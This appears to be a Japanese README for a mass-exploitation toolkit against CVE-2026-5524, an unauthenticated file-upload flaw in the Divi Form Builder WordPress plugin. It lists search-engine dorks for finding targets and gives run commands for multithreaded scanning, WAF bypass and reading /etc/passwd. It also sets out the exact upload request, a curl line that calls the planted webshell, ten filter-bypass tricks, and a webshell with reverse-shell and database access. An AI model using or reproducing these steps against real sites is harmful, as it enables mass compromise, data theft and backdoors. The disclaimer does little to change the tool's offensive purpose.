
CVE-2026-5524用のマスエクスプロイトツールキット。Divi Form Builderにおける非認証ファイルアップロードRCEです。マルチスレッドスキャン、WAF回避手法、カスタムウェブシェルの展開、対話型コマンド実行を備えています。
CVE-2026-5524 のための大量エクスプロイトツールキット。WordPress プラグイン Divi Form Builder <= 5.1.8 における認証なしの任意ファイルアップロード脆弱性により、リモートコード実行が可能になります。
| フィールド | 値 |
|---|---|
| CVE | 2026-5524 |
| CVSS | 9.8 (緊急) |
| Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 影響を受けるバージョン | Divi Form Builder <= 5.1.8 |
| 修正バージョン | 5.1.9 |
| タイプ | 認証なしファイルアップロードからRCE |
| 研究者 | 0xd4rk5id3 - EnvoraSec |
WordPress 用 Divi Form Builder プラグインには、認証なしの任意ファイルアップロード脆弱性が存在します。do_image_upload() ハンドラは、ユーザー制御の acceptFileTypes POST パラメータを、ファイル拡張子の検証に使用される正規表現に直接渡します。phtml などの値を指定することで、攻撃者は .php 拡張子のみをブロックするプラグインの .htaccess ルールをバイパスし、PHP で実行可能な拡張子(.phtml, .phar, .php5, .php7 など)を持つウェブシェルをアップロードできます。
ファイルが /wp-content/uploads/de_fb_uploads/ に配置されると、Apache はそれを PHP として実行し、攻撃者にウェブサーバーユーザーとしてのリモートコード実行を許可します。
この問題は Divi Form Builder 5.1.9 で修正されました。
body="de_fb_obj" && body="fb_nonce"
http.html:"de_fb_obj" http.html:"fb_nonce"
inurl:"/wp-content/plugins/divi-form-builder/"
app:"WordPress" && body:"de_fb_obj"
services.http.response.body: "de_fb_obj"
必要条件: Linux, macOS, WSL 上の Python 3.8 以降。
git clone https://github.com/caterscam/CVE-2026-5524-PoC/
cd CVE-2026-5524-PoC
pip3 install -r requirements.txt
requirements.txt
requests>=2.28.0
urllib3>=1.26.0
python3 CVE-2026-5524.py -u https://target.com
python3 CVE-2026-5524.py -l targets.txt --shell-file bypass.phtml --aggressive --no-verify -o pwned.jsonl -t 20
WAF (NinjaFirewall, Wordfence, ModSecurity) の背後にあるターゲット、または強化された Apache や nginx 設定を使用しているターゲット向け。
python3 CVE-2026-5524.py -u https://target.com --shell-file bypass.phtml --aggressive --no-verify --debug
アップロード成功後、スクリプトはすぐにコマンドを実行するか、対話型シェルを起動できます。
python3 CVE-2026-5524.py -u https://target.com --cmd "id; uname -a; cat /etc/passwd"
python3 CVE-2026-5524.py -u https://target.com --shell
脆弱なハンドラは、ユーザー入力をサニタイズせずに正規表現を構築します。
public function do_image_upload() {
$accepted = $_POST['acceptFileTypes'];
$pattern = '/\\.(' . $accepted . ')$/i';
if (preg_match($pattern, $filename)) {
move_uploaded_file($tmp, $dest);
}
}
acceptFileTypes=phtml を送信すると、結果の正規表現 /\.(phtml)$/i は .phtml で終わるファイル名に一致します。プラグイン自身の .htaccess ファイルは .php 拡張子のみをブロックします。Apache はアップロードされたファイルを PHP として実行し、リモートコード実行を引き起こします。
Divi Form Builder フォームを埋め込んだページ(/, /contact, /quote など)をクロールします。?nocache=<random> パラメータを追加して、Varnish、WP Rocket、その他のページキャッシュが古いノンスを提供するのを防ぎます。
ローカライズされた JavaScript オブジェクトから fb_nonce 値を抽出します:
de_fb_obj = {"fb_nonce":"<10 hex characters>", ...}
次の内容でマルチパートフォームを /wp-admin/admin-ajax.php に POST します:
action=de_fb_image_upload
fb_nonce=<nonce>
acceptFileTypes=phtml
[email protected]
JSON レスポンスからファイル URL を読み取ります:
{"files":[{"name":"abc123.phtml","url":"https://target/wp-content/uploads/de_fb_uploads/abc123.phtml",...}]}
base64 エンコードされたコマンドでシェルをリクエストします:
curl "https://target/wp-content/uploads/de_fb_uploads/abc123.phtml?x=$(echo -n id | base64)"
スクリプトは各手法を優先順位で試行し、--aggressive が設定されている場合は、最初のアップロードが成功を報告した後でもすべての手法を試みます。
cve-2026-5524/
|-- CVE-2026-5524.py メインのエクスプロイトスクリプト
|-- bypass.phtml 16 KB 多層PHPウェブシェル
|-- htaccess_enable.phtml 再有効化する .htaccess を書き込むドロッパー
|-- user_ini.phtml PHP-FPM 用の .user.ini を書き込むドロッパー
|-- targets.txt ターゲットリストの例
|-- pwned.jsonl 大量スキャン中に -o フラグで生成
|-- requirements.txt Python 依存関係
`-- README.md 本ドキュメント
+--------------------------------------------------+
| 1. 偵察 |
| GET /?nocache=<random> |
| de_fb_obj から fb_nonce を解析 |
+-------------------------+------------------------+
|
v
+--------------------------------------------------+
| 2. エクスプロイトの作成 |
| POST /wp-admin/admin-ajax.php |
| action=de_fb_image_upload |
| acceptFileTypes=phtml |
| [email protected] |
+-------------------------+------------------------+
|
v
+--------------------------------------------------+
| 3. サーバーがファイルを受け入れ保存 |
| /uploads/de_fb_uploads/<random>.phtml |
+-------------------------+------------------------+
|
v
+--------------------------------------------------+
| 4. 実行 |
| GET shell.phtml?x=base64(command) |
| リモートコード実行達成 |
+--------------------------------------------------+
このツールは教育目的および許可されたペネトレーションテストでの使用のために提供されています。許容される使用例は次のとおりです。
所有していない、またはテストの明示的な書面による許可がないシステムに対する不正使用は、事実上すべての法域で違法であり、厳しく禁止されています。作者はこのコードの誤用を容認せず、責任を負いません。
J'ai la permission et je suis autorisé à effectuer ce pentest. (私は許可を得ており、このペネトレーションテストを実施する権限があります。)
関連すると思われる法律には、インドネシアのUU ITE、米国のコンピュータ詐欺および濫用防止法、EUのサイバー犯罪条約、およびその他の同等の法律が含まれます。疑わしい場合は、まず書面による許可を取得してください。
教育目的のみ。利用条件の全文は免責事項のセクションを参照してください。
| フラグ | 説明 |
|---|
-u URL | 単一ターゲットのURL |
-l FILE | ターゲットリストを含むファイル、1行に1URL |
-t N | 同時スレッド数(デフォルト10) |
--timeout N | リクエストタイムアウト(秒)(デフォルト15) |
-o FILE | 結果をJSONL出力ファイルに保存 |
--proxy URL | HTTPプロキシ経由でトラフィックをルーティング |
--nonce HASH | 手動で提供されたノンスを使用し、自動検出をスキップ |
--ext EXT | 完全なバイパスリストの代わりに単一の拡張子を強制 |
--shell | 成功時に対話型RCEシェルを起動(単一ターゲットのみ) |
--cmd CMD | ターゲット上で1つのコマンドを実行して終了 |
--shell-file FILE | 組み込みの代わりにカスタムシェルペイロードをアップロード |
--no-verify | アップロード後のRCE検証手順をスキップ |
--strict-verify | シェルURLがHTTP 200を返すことを確認して誤検出をフィルタリング |
--user-ini | PHP-FPM環境向けに.user.iniドロッパーをアップロード |
--htaccess | Apache環境向けに.htaccess再有効化ファイルをアップロード |
--aggressive | 利用可能なすべてのバイパス手法を有効化 |
--null-byte | ヌルバイトと二重拡張子の試行を含める |
--path-traversal | /uploads/YYYY/MM/ サブディレクトリへのアップロードを試行 |
--debug | 診断用に生のHTTPレスポンスを出力 |
| # | 手法 | 対象 |
|---|
| 1 | 代替PHP拡張子 .phtml, .phar, .php5, .php7, .php4, .pht, .shtml | .php のみをブロックするプラグインの .htaccess ルール |
| 2 | 大文字小文字のバリエーション .PHTML, .PHP5, .PhTmL | 大文字小文字を区別するWAFシグネチャ (NinjaFirewall) |
| 3 | 二重拡張子 .phtml.jpg, .php.jpg | Apache mod_mime のコンテンツネゴシエーションの癖 |
| 4 | ヌルバイト .php%00.jpg, .phtml%00.txt | 古いPHPバージョン (5.3.4未満) および特定のパーサー |
| 5 | 末尾のスペースまたはドット .php , .php. | Windows IIS および古い Apache バージョン |
| 6 | Content-Type のなりすまし application/octet-stream | マルチパート Content-Type ヘッダーをキーとする WAF |
| 7 | .gif, .png, .jpg, .txt, .html などに対してPHPを再び有効にする実際の .htaccess をアップロード | AllowOverride All が設定された Apache サーバー |
| 8 | auto_prepend_file を含む .user.ini をアップロード | PHP-FPM 環境 |
| 9 | マルチパート境界操作によるファイル名インジェクション | リクエストボディを再解析するプロキシとWAF |
| 10 | ファイル名におけるパストラバーサル ../shell.phtml | プラグインのディレクトリ制限 |
| コンポーネント | 技術 |
|---|
| 言語 | Python 3.8+ |
| HTTPクライアント | requests |
| TLS処理 | 自己署名証明書のための非セキュアモードの urllib3 |
| 並行処理 | 大量スキャンのための concurrent.futures.ThreadPoolExecutor |
| 解析 | ノンス抽出のための re、レスポンス処理のための json |
| エンコーディング | ウェブシェルコマンドパラメータのための base64 |
| CLI | 19個の設定可能フラグを持つ argparse |
| コンポーネント | 技術 |
|---|
| 言語 | PHP 7.0+ |
| 実行関数 | system(), shell_exec(), proc_open(), passthru(), popen() |
| フロントエンド | プレーンHTMLフォーム、JavaScriptフレームワークなし |
| 機能 | ファイルブラウザ、コマンド実行、データベースアクセス、リバースシェル、自己インストール型 .htaccess と .user.ini |
| サイズ | 約16 KB |
| バイパス層 | 6つの独立した実行パスとエンコードされたペイロード |